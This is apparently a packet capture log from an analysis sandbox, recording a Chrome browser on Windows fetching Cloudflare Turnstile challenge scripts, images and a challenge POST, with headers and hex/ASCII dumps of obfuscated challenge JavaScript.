2024-05-07 18:31:23 UTC	710	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8803495f9bd55e68 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/0i6ex/0x4AAAAAAAZkgmLQjbC4655I/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:31:23 UTC	358	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:31:23 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 vary: accept-encoding Server: cloudflare CF-RAY: 880349624a390dc7-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 18:31:23 UTC	904	IN	Data Raw: 33 38 31 0d 0a 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 7e 66 75 6e 63 74 69 6f 6e 28 69 78 2c 66 45 2c 66 46 2c 66 47 2c 66 51 2c 66 57 2c 66 58 2c 67 6e 2c 67 6f 2c 67 73 2c 67 74 2c 67 78 2c 67 7a 2c 67 41 2c 67 42 2c 67 43 2c 67 44 2c 67 45 2c 67 46 2c 67 47 2c 67 48 2c 67 49 2c 67 4a 2c 67 4b 2c 67 4c 2c 67 4d 2c 67 4e 2c 67 4f 2c 67 50 2c 67 51 2c 67 52 2c 67 53 2c 67 54 2c 67 55 2c 67 56 2c 67 57 2c 67 58 2c 67 59 2c 67 5a 2c 68 30 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 2c 68 39 2c 68 61 2c 68 62 2c 68 63 2c 68 64 2c 68 65 2c 68 66 2c 68 67 2c 68 68 2c 68 69 2c 68 6a 2c 68 6b 2c 68 6c 2c 68 6d 2c 68 6e 2c 68 6f 2c 68 70 2c 68 71 2c 68 72 2c 68 73 2c 68 74 2c 68 76 2c 68 Data Ascii: 381 window._cf_chl_opt.uaO=false;~function(ix,fE,fF,fG,fQ,fW,fX,gn,go,gs,gt,gx,gz,gA,gB,gC,gD,gE,gF,gG,gH,gI,gJ,gK,gL,gM,gN,gO,gP,gQ,gR,gS,gT,gU,gV,gW,gX,gY,gZ,h0,h1,h2,h3,h4,h5,h6,h7,h8,h9,ha,hb,hc,hd,he,hf,hg,hh,hi,hj,hk,hl,hm,hn,ho,hp,hq,hr,hs,ht,hv,h
2024-05-07 18:31:23 UTC	1369	IN	Data Raw: 31 35 37 39 0d 0a 69 79 2c 6a 5e 3d 6c 5b 69 7a 28 31 31 33 39 29 5d 28 73 29 7d 29 2c 66 3d 66 45 5b 69 79 28 37 36 34 29 5d 28 66 29 2c 6b 3d 5b 5d 2c 69 3d 2d 31 3b 21 69 73 4e 61 4e 28 6d 3d 66 5b 69 79 28 31 31 33 39 29 5d 28 2b 2b 69 29 29 3b 6b 5b 69 79 28 31 33 31 33 29 5d 28 53 74 72 69 6e 67 5b 69 79 28 35 33 32 29 5d 28 68 5b 69 79 28 31 34 34 32 29 5d 28 28 32 35 35 2e 33 39 26 6d 29 2d 6a 2d 68 5b 69 79 28 32 30 32 38 29 5d 28 69 2c 36 35 35 33 35 29 2c 36 35 35 33 35 29 25 32 35 35 29 29 29 3b 72 65 74 75 72 6e 20 6b 5b 69 79 28 32 30 34 32 29 5d 28 27 27 29 7d 2c 66 45 5b 69 78 28 32 33 39 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 69 4c 2c 65 2c 68 29 7b 65 3d 28 69 4c 3d 69 78 2c 7b 27 4a 58 55 67 67 27 3a 66 75 6e 63 74 69 6f 6e 28 67 Data Ascii: 1579 iy,j^=l[iz(1139)](s)}),f=fE[iy(764)](f),k=[],i=-1;!isNaN(m=f[iy(1139)](++i));k[iy(1313)](String[iy(532)](h[iy(1442)]((255.39&m)-j-h[iy(2028)](i,65535),65535)%255)));return k[iy(2042)]('')},fE[ix(2393)]=function(c,iL,e,h){e=(iL=ix,{'JXUgg':function(g
2024-05-07 18:31:23 UTC	1369	IN	Data Raw: 78 3d 6f 5b 6a 52 28 32 33 30 33 29 5d 28 67 72 2c 68 29 2c 67 5b 6a 52 28 32 33 30 30 29 5d 5b 6a 52 28 38 33 37 29 5d 26 26 28 78 3d 78 5b 6a 52 28 31 39 37 37 29 5d 28 67 5b 6a 52 28 32 33 30 30 29 5d 5b 6a 52 28 38 33 37 29 5d 28 68 29 29 29 2c 78 3d 67 5b 6a 52 28 32 32 37 30 29 5d 5b 6a 52 28 31 35 38 30 29 5d 26 26 67 5b 6a 52 28 32 32 35 37 29 5d 3f 67 5b 6a 52 28 32 32 37 30 29 5d 5b 6a 52 28 31 35 38 30 29 5d 28 6e 65 77 20 67 5b 28 6a 52 28 32 32 35 37 29 29 5d 28 78 29 29 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 6a 54 2c 48 29 7b 66 6f 72 28 6a 54 3d 6a 52 2c 47 5b 6a 54 28 31 39 37 36 29 5d 28 29 2c 48 3d 30 3b 48 3c 47 5b 6a 54 28 33 32 35 37 29 5d 3b 47 5b 48 5d 3d 3d 3d 47 5b 48 2b 31 5d 3f 47 5b 6a 54 28 32 31 30 30 29 5d 28 48 2b 31 2c 31 29 Data Ascii: x=o[jR(2303)](gr,h),g[jR(2300)][jR(837)]&&(x=x[jR(1977)](g[jR(2300)][jR(837)](h))),x=g[jR(2270)][jR(1580)]&&g[jR(2257)]?g[jR(2270)][jR(1580)](new g[(jR(2257))](x)):function(G,jT,H){for(jT=jR,G[jT(1976)](),H=0;H<G[jT(3257)];G[H]===G[H+1]?G[jT(2100)](H+1,1)
2024-05-07 18:31:23 UTC	1369	IN	Data Raw: 6e 28 6f 2c 6a 56 29 7b 72 65 74 75 72 6e 20 6a 56 3d 6a 55 2c 69 5b 6a 56 28 39 36 34 29 5d 28 27 6f 2e 27 2c 6f 29 7d 29 7d 2c 66 45 5b 69 78 28 32 37 39 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6a 57 2c 64 2c 65 2c 66 2c 67 29 7b 6a 57 3d 69 78 2c 64 3d 7b 7d 2c 64 5b 6a 57 28 32 32 33 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 64 5b 6a 57 28 32 33 37 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 64 5b 6a 57 28 35 38 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 3e 69 7d 2c 64 5b 6a 57 28 31 34 34 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c 64 5b 6a 57 28 32 39 38 30 29 5d 3d 66 75 6e Data Ascii: n(o,jV){return jV=jU,i[jV(964)]('o.',o)})},fE[ix(2792)]=function(jW,d,e,f,g){jW=ix,d={},d[jW(2232)]=function(h,i){return h>i},d[jW(2377)]=function(h,i){return h<i},d[jW(589)]=function(h,i){return h>>i},d[jW(1448)]=function(h,i){return h\|i},d[jW(2980)]=fun
2024-05-07 18:31:23 UTC	1369	IN	Data Raw: 29 5d 3d 6a 59 28 31 30 31 32 29 2c 69 5b 6a 59 28 33 32 34 34 29 5d 3d 6a 59 28 36 32 38 29 2c 69 5b 6a 59 28 32 33 34 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 43 2c 44 29 7b 72 65 74 75 72 6e 20 43 2b 44 7d 2c 69 5b 6a 59 28 35 39 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 43 2c 44 29 7b 72 65 74 75 72 6e 20 43 2b 44 7d 2c 69 29 3b 74 72 79 7b 69 66 28 6b 3d 6a 5b 6a 59 28 33 31 37 33 29 5d 28 68 2c 6a 59 28 38 39 35 29 29 2c 6c 3d 66 45 5b 6a 59 28 33 30 35 38 29 5d 5b 6a 59 28 32 36 39 30 29 5d 3f 6a 5b 6a 59 28 31 39 37 32 29 5d 28 27 68 2f 27 2c 66 45 5b 6a 59 28 33 30 35 38 29 5d 5b 6a 59 28 32 36 39 30 29 5d 29 2b 27 2f 27 3a 27 27 2c 6d 3d 6a 5b 6a 59 28 31 39 37 32 29 5d 28 6a 5b 6a 59 28 31 39 37 32 29 5d 28 6a 5b 6a 59 28 31 39 37 32 29 5d 28 6a 5b Data Ascii: )]=jY(1012),i[jY(3244)]=jY(628),i[jY(2344)]=function(C,D){return C+D},i[jY(594)]=function(C,D){return C+D},i);try{if(k=j[jY(3173)](h,jY(895)),l=fE[jY(3058)][jY(2690)]?j[jY(1972)]('h/',fE[jY(3058)][jY(2690)])+'/':'',m=j[jY(1972)](j[jY(1972)](j[jY(1972)](j[
2024-05-07 18:31:23 UTC	29	IN	Data Raw: 28 31 30 31 39 29 5d 28 6a 5a 28 32 30 39 38 29 2c 6d 29 29 3b 72 65 74 75 72 6e 0d 0a Data Ascii: (1019)](jZ(2098),m));return
2024-05-07 18:31:23 UTC	337	IN	Data Raw: 31 34 61 0d 0a 21 5b 5d 7d 2c 67 78 3d 7b 7d 2c 67 78 5b 69 78 28 31 36 39 37 29 5d 3d 67 77 2c 66 45 5b 69 78 28 31 33 38 36 29 5d 3d 67 78 2c 67 7a 3d 7b 7d 2c 67 7a 5b 69 78 28 33 30 32 32 29 5d 3d 69 78 28 32 35 39 37 29 2c 67 7a 5b 69 78 28 32 31 33 37 29 5d 3d 69 78 28 32 31 36 39 29 2c 67 7a 5b 69 78 28 32 39 34 38 29 5d 3d 69 78 28 33 32 36 36 29 2c 67 7a 5b 69 78 28 31 33 30 35 29 5d 3d 69 78 28 33 31 30 35 29 2c 67 7a 5b 69 78 28 32 33 38 32 29 5d 3d 69 78 28 31 30 35 32 29 2c 67 7a 5b 69 78 28 31 35 33 39 29 5d 3d 69 78 28 32 31 32 36 29 2c 67 7a 5b 69 78 28 31 39 34 31 29 5d 3d 69 78 28 33 31 33 37 29 2c 67 7a 5b 69 78 28 31 33 38 37 29 5d 3d 69 78 28 31 33 35 32 29 2c 67 7a 5b 69 78 28 31 35 32 37 29 5d 3d 69 78 28 31 38 38 34 29 2c 67 7a 5b Data Ascii: 14a ![]},gx={},gx[ix(1697)]=gw,fE[ix(1386)]=gx,gz={},gz[ix(3022)]=ix(2597),gz[ix(2137)]=ix(2169),gz[ix(2948)]=ix(3266),gz[ix(1305)]=ix(3105),gz[ix(2382)]=ix(1052),gz[ix(1539)]=ix(2126),gz[ix(1941)]=ix(3137),gz[ix(1387)]=ix(1352),gz[ix(1527)]=ix(1884),gz[
2024-05-07 18:31:23 UTC	426	IN	Data Raw: 31 61 33 0d 0a 2c 67 7a 5b 69 78 28 33 30 36 36 29 5d 3d 69 78 28 31 34 38 31 29 2c 67 7a 5b 69 78 28 32 33 34 32 29 5d 3d 69 78 28 31 39 30 39 29 2c 67 7a 5b 69 78 28 37 32 37 29 5d 3d 69 78 28 32 30 31 38 29 2c 67 7a 5b 69 78 28 33 30 32 38 29 5d 3d 69 78 28 31 37 38 31 29 2c 67 7a 5b 69 78 28 33 31 32 36 29 5d 3d 69 78 28 31 39 33 39 29 2c 67 7a 5b 69 78 28 32 39 34 39 29 5d 3d 69 78 28 32 31 34 32 29 2c 67 7a 5b 69 78 28 32 35 33 31 29 5d 3d 69 78 28 31 38 35 38 29 2c 67 7a 5b 69 78 28 33 31 33 34 29 5d 3d 69 78 28 32 36 37 31 29 2c 67 7a 5b 69 78 28 31 38 32 37 29 5d 3d 69 78 28 31 36 30 37 29 2c 67 7a 5b 69 78 28 31 30 32 36 29 5d 3d 69 78 28 31 36 31 37 29 2c 67 7a 5b 69 78 28 32 31 39 37 29 5d 3d 69 78 28 37 31 36 29 2c 67 7a 5b 69 78 28 39 37 34 Data Ascii: 1a3 ,gz[ix(3066)]=ix(1481),gz[ix(2342)]=ix(1909),gz[ix(727)]=ix(2018),gz[ix(3028)]=ix(1781),gz[ix(3126)]=ix(1939),gz[ix(2949)]=ix(2142),gz[ix(2531)]=ix(1858),gz[ix(3134)]=ix(2671),gz[ix(1827)]=ix(1607),gz[ix(1026)]=ix(1617),gz[ix(2197)]=ix(716),gz[ix(974
2024-05-07 18:31:23 UTC	1336	IN	Data Raw: 35 33 31 0d 0a 39 36 29 5d 3d 69 78 28 34 34 37 29 2c 67 7a 5b 69 78 28 31 36 36 31 29 5d 3d 69 78 28 31 65 33 29 2c 67 7a 5b 69 78 28 36 37 30 29 5d 3d 69 78 28 32 30 33 35 29 2c 67 7a 5b 69 78 28 33 32 35 35 29 5d 3d 69 78 28 32 34 34 38 29 2c 67 7a 5b 69 78 28 31 32 39 30 29 5d 3d 69 78 28 35 34 30 29 2c 67 7a 5b 69 78 28 39 33 33 29 5d 3d 69 78 28 31 31 38 35 29 2c 67 7a 5b 69 78 28 32 38 36 32 29 5d 3d 69 78 28 32 36 39 32 29 2c 67 7a 5b 69 78 28 31 35 31 38 29 5d 3d 69 78 28 36 36 39 29 2c 67 41 3d 7b 7d 2c 67 41 5b 69 78 28 33 30 32 32 29 5d 3d 69 78 28 32 36 38 31 29 2c 67 41 5b 69 78 28 32 31 33 37 29 5d 3d 69 78 28 31 37 36 35 29 2c 67 41 5b 69 78 28 32 39 34 38 29 5d 3d 69 78 28 32 39 34 37 29 2c 67 41 5b 69 78 28 31 33 30 35 29 5d 3d 69 78 28 Data Ascii: 531 96)]=ix(447),gz[ix(1661)]=ix(1e3),gz[ix(670)]=ix(2035),gz[ix(3255)]=ix(2448),gz[ix(1290)]=ix(540),gz[ix(933)]=ix(1185),gz[ix(2862)]=ix(2692),gz[ix(1518)]=ix(669),gA={},gA[ix(3022)]=ix(2681),gA[ix(2137)]=ix(1765),gA[ix(2948)]=ix(2947),gA[ix(1305)]=ix(
2024-05-07 18:31:23 UTC	1196	IN	Data Raw: 34 61 35 0d 0a 36 36 29 5d 3d 69 78 28 39 31 33 29 2c 67 42 5b 69 78 28 32 33 34 32 29 5d 3d 69 78 28 32 31 37 32 29 2c 67 42 5b 69 78 28 37 32 37 29 5d 3d 69 78 28 32 37 35 36 29 2c 67 42 5b 69 78 28 33 30 32 38 29 5d 3d 69 78 28 31 33 35 31 29 2c 67 42 5b 69 78 28 33 31 32 36 29 5d 3d 69 78 28 32 37 38 38 29 2c 67 42 5b 69 78 28 32 39 34 39 29 5d 3d 69 78 28 33 31 38 31 29 2c 67 42 5b 69 78 28 32 35 33 31 29 5d 3d 69 78 28 32 31 30 31 29 2c 67 42 5b 69 78 28 33 31 33 34 29 5d 3d 69 78 28 31 35 35 30 29 2c 67 42 5b 69 78 28 31 38 32 37 29 5d 3d 69 78 28 32 33 34 38 29 2c 67 42 5b 69 78 28 31 30 32 36 29 5d 3d 69 78 28 37 37 32 29 2c 67 42 5b 69 78 28 32 31 39 37 29 5d 3d 69 78 28 32 38 33 30 29 2c 67 42 5b 69 78 28 39 37 34 29 5d 3d 69 78 28 31 31 37 33 Data Ascii: 4a5 66)]=ix(913),gB[ix(2342)]=ix(2172),gB[ix(727)]=ix(2756),gB[ix(3028)]=ix(1351),gB[ix(3126)]=ix(2788),gB[ix(2949)]=ix(3181),gB[ix(2531)]=ix(2101),gB[ix(3134)]=ix(1550),gB[ix(1827)]=ix(2348),gB[ix(1026)]=ix(772),gB[ix(2197)]=ix(2830),gB[ix(974)]=ix(1173

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49776	104.17.3.184	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:23 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/0i6ex/0x4AAAAAAAZkgmLQjbC4655I/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:31:23 UTC	240	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:31:23 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 88034962adcc41e0-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 18:31:23 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNG IHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49777	104.17.2.184	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:23 UTC	438	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:31:23 UTC	240	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:31:23 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 88034965bfe21931-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 18:31:23 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNG IHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49779	104.17.3.184	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:23 UTC	916	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1296908238:1715102970:WHlKkTMI5qTfs3kqdoIXXuyp1058w2BbgNo-m-7l2OI/8803495f9bd55e68/1937d72d0ae2e27 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 2931 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 1937d72d0ae2e27 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/0i6ex/0x4AAAAAAAZkgmLQjbC4655I/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:31:23 UTC	2931	OUT	Data Raw: 76 5f 38 38 30 33 34 39 35 66 39 62 64 35 35 65 36 38 3d 6d 79 35 4f 32 31 4e 68 58 68 6c 50 35 58 79 61 43 51 78 47 78 53 78 73 4f 61 59 78 79 41 6b 51 6c 53 41 78 43 57 41 4f 36 55 6c 4a 78 4a 59 4e 66 66 79 76 78 31 78 45 57 49 43 49 47 2d 61 78 75 7a 78 58 36 62 78 65 59 6c 65 78 6c 76 61 57 30 48 53 78 6c 69 32 4f 4f 58 2d 35 64 77 7a 42 61 4e 6a 78 6a 61 58 30 78 46 47 53 62 61 4d 78 51 79 78 72 78 43 79 6c 71 47 61 4f 58 51 2d 4f 34 61 30 78 38 6c 39 73 65 78 34 30 4c 33 44 2d 78 4e 45 35 78 58 50 78 43 45 55 41 36 31 6f 49 58 4a 75 79 57 42 71 44 58 61 58 61 51 45 59 78 65 7a 74 78 6f 76 61 34 69 75 41 78 6c 47 50 78 30 52 5a 48 70 36 78 78 64 4d 57 5a 53 78 78 64 78 58 55 64 71 78 78 70 41 46 50 59 66 38 74 70 78 41 4c 78 6f 61 78 25 32 62 51 59 Data Ascii: v_8803495f9bd55e68=my5O21NhXhlP5XyaCQxGxSxsOaYxyAkQlSAxCWAO6UlJxJYNffyvx1xEWICIG-axuzxX6bxeYlexlvaW0HSxli2OOX-5dwzBaNjxjaX0xFGSbaMxQyxrxCylqGaOXQ-O4a0x8l9sex40L3D-xNE5xXPxCEUA61oIXJuyWBqDXaXaQEYxeztxova4iuAxlGPx0RZHp6xxdMWZSxxdxXUdqxxpAFPYf8tpxALxoax%2bQY
2024-05-07 18:31:24 UTC	734	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:31:24 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-gen: GWilq5wFVRd8Ve2hMZ0dwoMMO0lMl2LmIUAIvrYdh3owxlAI3eLlDEnGSeKvsJi5XyqjkqEYDpw5N+/jXeT+RyfE6WilTe97j/BmF/ej66gnvT4YpzDVmJjhlNk/monTfn9nuQvULk9h6a0nR1WJU/+nKNy79FWo1NLEUaWMYSxbcz/QcgALK/9FNqg5xwUMhCcuPsjVNEcXj4Hv4m0xTpUH3C6nfE8Eh+bCR1NV8yr6jmhIiM2Kh5STkHmyJ05nw0PUN1RpY9eyeoQ52ueyVDGdg+zBsylA049J1WW55MsbZs7joq180xQYfy15+Fr2b2JGvjCX+h8/YMe9U2TjRL+g83H+Uqc9igQzcRVcqDU7ofIkO6LIgig1Z/J5AVIMZmbwJvd5+1K5SNyrpiJhBVFpg0EEzxD3YlS9OsADeaSJ/WPXuaeNE+myDcuinFWn$UPKDAhVhWQq1p9TUDD+JCA== vary: accept-encoding Server: cloudflare CF-RAY: 88034966dbfe429a-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 18:31:24 UTC	635	IN	Data Raw: 33 61 39 0d 0a 6b 49 36 7a 77 38 47 6b 6c 35 4f 30 67 63 47 5a 7a 4d 4b 4d 76 34 6d 50 69 36 4b 4b 7a 73 4c 44 71 5a 54 57 78 37 6a 54 6d 70 66 52 6e 74 61 37 7a 36 54 5a 30 37 54 6b 79 4d 53 6b 78 4d 66 49 78 62 44 64 33 37 2b 30 36 76 53 70 39 73 7a 70 37 50 33 36 33 76 51 41 33 50 4f 37 78 50 62 68 76 38 67 44 2b 65 47 2b 36 2f 76 5a 35 76 34 45 7a 75 6f 44 43 4e 45 55 45 78 44 54 33 41 66 34 39 64 49 4b 45 4f 2f 61 45 78 6e 68 2f 76 67 63 34 68 34 72 49 53 55 76 4b 78 48 72 43 69 4d 52 37 2f 67 4e 45 50 4d 35 43 76 7a 36 49 67 45 68 2b 54 41 61 45 67 63 71 48 53 63 45 4c 54 59 63 42 69 49 4d 53 44 42 50 54 30 38 6d 46 6b 73 75 4a 44 42 62 54 56 56 66 54 31 41 64 59 46 4e 5a 4a 46 52 6a 61 79 5a 6f 4b 45 70 47 49 30 4e 62 59 46 56 78 62 55 4a 36 4e 6b Data Ascii: 3a9 kI6zw8Gkl5O0gcGZzMKMv4mPi6KKzsLDqZTWx7jTmpfRnta7z6TZ07TkyMSkxMfIxbDd37+06vSp9szp7P363vQA3PO7xPbhv8gD+eG+6/vZ5v4EzuoDCNEUExDT3Af49dIKEO/aExnh/vgc4h4rISUvKxHrCiMR7/gNEPM5Cvz6IgEh+TAaEgcqHScELTYcBiIMSDBPT08mFksuJDBbTVVfT1AdYFNZJFRjayZoKEpGI0NbYFVxbUJ6Nk
2024-05-07 18:31:24 UTC	309	IN	Data Raw: 5a 72 6b 31 68 50 58 5a 65 4e 61 6c 52 36 6b 47 47 52 66 33 4e 68 58 48 36 62 64 70 6c 2f 62 72 46 70 6a 59 32 41 74 6e 56 34 62 36 2b 75 72 61 32 56 65 33 69 51 76 72 4f 61 6b 4b 43 62 6d 5a 76 46 77 61 75 4b 6e 4b 61 66 79 63 4b 6e 72 73 65 75 6a 71 37 59 6f 72 4b 73 6c 74 2b 35 72 4b 7a 58 7a 74 6a 41 7a 72 47 78 78 73 72 55 76 2b 50 4e 70 37 37 63 77 2b 53 71 73 38 54 48 31 4b 2f 4e 39 39 4c 33 36 37 71 34 7a 66 44 7a 34 74 58 57 38 4d 54 33 42 38 55 4a 42 50 33 6d 2f 64 44 6b 30 2b 48 56 33 75 6f 4f 32 51 67 48 32 67 63 4b 49 42 4d 44 33 68 6a 63 2f 68 48 30 42 75 55 66 2b 67 6f 4f 34 50 34 4f 45 42 38 44 45 68 51 7a 42 78 59 58 37 41 73 61 48 42 55 50 48 69 45 76 45 79 49 6c 51 78 63 6d 4b 50 77 62 4b 69 6f 37 48 79 34 75 53 56 56 55 52 79 59 51 54 Data Ascii: Zrk1hPXZeNalR6kGGRf3NhXH6bdpl/brFpjY2AtnV4b6+ura2Ve3iQvrOakKCbmZvFwauKnKafycKnrseujq7YorKslt+5rKzXztjAzrGxxsrUv+PNp77cw+Sqs8TH1K/N99L367q4zfDz4tXW8MT3B8UJBP3m/dDk0+HV3uoO2QgH2gcKIBMD3hjc/hH0BuUf+goO4P4OEB8DEhQzBxYX7AsaHBUPHiEvEyIlQxcmKPwbKio7Hy4uSVVURyYQT
2024-05-07 18:31:24 UTC	1369	IN	Data Raw: 31 65 30 31 0d 0a 7a 65 41 57 49 42 76 54 6c 79 4a 55 59 56 48 6a 57 52 75 53 6f 68 71 67 6d 4e 47 68 59 65 4d 6b 5a 46 56 63 4a 57 4b 56 47 32 58 63 34 32 69 6e 6f 53 42 67 35 53 68 65 34 52 2b 68 6e 6d 48 71 33 74 74 62 61 53 79 6a 59 75 78 6a 72 70 7a 73 61 5a 30 65 63 47 35 77 72 71 38 6b 4b 61 55 76 37 61 41 6e 59 75 4c 79 4d 32 67 6e 59 2b 54 77 63 2b 65 6a 61 2f 56 6d 73 66 56 76 4a 79 6e 74 5a 75 75 30 73 57 36 6e 64 37 6d 76 72 53 6d 71 39 37 46 71 65 33 70 38 75 72 72 37 4e 62 45 36 2b 61 73 34 37 75 32 2b 4c 58 58 41 50 72 77 32 77 4c 47 38 77 49 43 79 66 66 39 43 38 33 33 41 39 33 61 41 41 59 4d 31 41 51 4b 46 77 59 62 37 50 33 34 39 50 6f 65 2b 67 38 62 2b 76 44 6a 35 75 63 58 2f 75 63 74 4a 66 76 6d 48 4f 54 7a 4c 50 41 6c 4d 77 59 50 46 66 Data Ascii: 1e01 zeAWIBvTlyJUYVHjWRuSohqgmNGhYeMkZFVcJWKVG2Xc42inoSBg5She4R+hnmHq3ttbaSyjYuxjrpzsaZ0ecG5wrq8kKaUv7aAnYuLyM2gnY+Twc+eja/VmsfVvJyntZuu0sW6nd7mvrSmq97Fqe3p8urr7NbE6+as47u2+LXXAPrw2wLG8wICyff9C833A93aAAYM1AQKFwYb7P349Poe+g8b+vDj5ucX/uctJfvmHOTzLPAlMwYPFf
2024-05-07 18:31:24 UTC	1369	IN	Data Raw: 62 31 74 78 67 33 43 41 5a 58 31 49 62 47 70 48 61 6e 36 4f 61 59 64 4b 54 32 36 59 5a 57 4e 71 69 31 4f 55 63 6e 6d 4c 61 6e 71 56 6f 5a 42 64 6b 6f 52 32 71 57 71 46 71 57 79 48 6e 59 69 48 69 71 61 6e 62 6d 32 49 71 35 61 72 6d 37 56 36 76 5a 75 55 6d 61 4b 63 6c 4d 65 43 68 37 4b 47 78 36 65 6d 69 61 53 66 6f 59 33 51 70 36 36 4e 72 4c 66 49 32 74 65 76 76 4a 53 35 77 63 71 79 34 64 37 56 34 72 33 64 6f 64 66 5a 75 63 71 6e 71 4c 2f 4f 7a 74 2f 44 30 74 4c 74 2b 66 6a 72 79 72 54 77 75 41 44 35 39 4e 2f 66 34 72 7a 77 36 41 62 78 33 4e 50 33 34 41 7a 59 2b 2f 73 4d 36 41 48 76 41 4f 77 46 38 41 54 77 43 66 58 31 45 51 37 64 38 4f 76 57 34 2b 54 69 41 77 55 70 36 66 72 73 49 42 6b 